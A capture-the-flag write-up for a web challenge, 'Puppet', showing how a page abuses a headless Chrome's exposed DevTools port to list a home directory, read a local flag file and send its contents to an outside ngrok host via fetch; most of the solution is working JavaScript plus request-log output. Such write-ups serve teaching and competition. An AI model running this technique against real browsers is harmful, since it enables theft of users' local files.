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# Puppet

The flag has a random name in ~/Documents \
Pwn my browser >:)

```javascript
const browser = await puppeteer.launch({
dumpio: true,
args: [
'--disable-web-security',
'--user-data-dir=/tmp/chrome',
'--remote-debugging-port=5000',
'--disable-dev-shm-usage', // Docker stuff
'--js-flags=--jitless' // No Chrome n-days please
]
})
```

Challenge: http://35.225.84.51

Attachments: `puppet.zip`

## Solution

TLDR:
> Abuse [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)
> as used [here](https://github.com/qxxxb/ctf/tree/master/2021/angstrom_ctf/watered_down_watermark)
> to list directories and read arbitrary files.

We have to read
`file:///home/inmate/Documents/flag_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt`.

```javascript
const browser = await puppeteer.launch({
args: [
'--disable-dev-shm-usage',
'--disable-web-security',
'--user-data-dir=/tmp/chrome',
'--remote-debugging-port=5000'
]
})
```

The DevTools port is usually randomized but for this challenge it's fixed to
5000 so we don't have to do any painful port scanning.

Also we have `--disable-web-security`, which means Same-Origin Policy and CSP
are all out the window. However, `file:///` URLs are still protected.

Solution:
- Use the DevTools protocol to open `file:///home/inmate/Documents` and fetch
`document.body.textContent` through the WebSocket
- Parse the HTML to get the filename of the flag, then use the same technique
to read the file contents.

Caveats:
- Headless chrome chokes on `file:///` URLs that list directories, as mentioned
[here](https://github.com/puppeteer/puppeteer/issues/5737)
- Workaround is to first do `view-source:file:///home/inmate/Documents` then
`document.body.textContent`

My solution:

```javascript
const selfURL = "http://db7ec431f10a.ngrok.io";

function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

function report(data) {
fetch(`${selfURL}/${encodeURIComponent(data)}`);
}

async function openPage(url) {
const baseUrl = "http://localhost:5000";
const devtoolsURL = `${baseUrl}/json/new?${encodeURIComponent(url)}`;
const res = await fetch(devtoolsURL);
const data = await res.json();
await sleep(500); // Wait for the page to finish loading
return data.webSocketDebuggerUrl;
}

function wsPromise(wsURL, onopen) {
return new Promise((resolve, reject) => {
window.ws = new WebSocket(wsURL);

ws.onerror = (e) => {
report("[ws.onerror] " + JSON.stringify(e));
reject(e);
};

ws.onmessage = (e) => { resolve(e); };
ws.onopen = () => ws.send(onopen);
});
}

const documentsDir = "file:///home/inmate/Documents";

(async () => {
var wsURL = await openPage("http://example.com");

var res = await wsPromise(
wsURL,
JSON.stringify({
id: 0,
method: "Page.navigate",
params: {
url: `view-source:${documentsDir}`,
},
})
);
console.log("[Page.navigate]");
console.log(res);

var res = await wsPromise(
wsURL,
JSON.stringify({
id: 0,
method: "Runtime.evaluate",
params: { expression: "document.body.textContent" },
})
);
console.log("[Runtime.evaluate]");
console.log(res);

var html = JSON.parse(res.data).result.result.value;
console.log("[html]")
console.log(html)

var doc = new DOMParser().parseFromString(html, "text/html");
var scripts = Array.from(doc.querySelectorAll("script"));

// On non-headless chrome, this should be 5
var fileScripts = scripts.slice(2);

var filenames = fileScripts.map(
(x) => x.text.match(/addRow\("(?<filename>.*?)".*/).groups.filename
);

console.log("[filenames]")
console.log(filenames);

for (const filename of filenames) {
var wsURL = await openPage(`${documentsDir}/${filename}`);
var res = await wsPromise(
wsURL,
JSON.stringify({
id: 0,
method: "Runtime.evaluate",
params: { expression: "document.body.textContent" },
})
);
console.log("[Runtime.evaluate]");
console.log(res);
var file = JSON.parse(res.data).result.result.value
report(`[${filename}] ${file}`);
}
})();
```

Output:
```
HTTP Requests
-------------

GET /[flag_4835141fe1031b2cfece2f5ef524e1a1.txt] CCC{1f_0nly_th3r3_w4s_X55_0n_th3_d3vt00ls_p4g3} 404 File not found
GET /main.js 200 OK
GET / 200 OK
```

Original writeup (https://github.com/qxxxb/ctf_challenges/blob/master/2021/ccc/web/puppet/solve).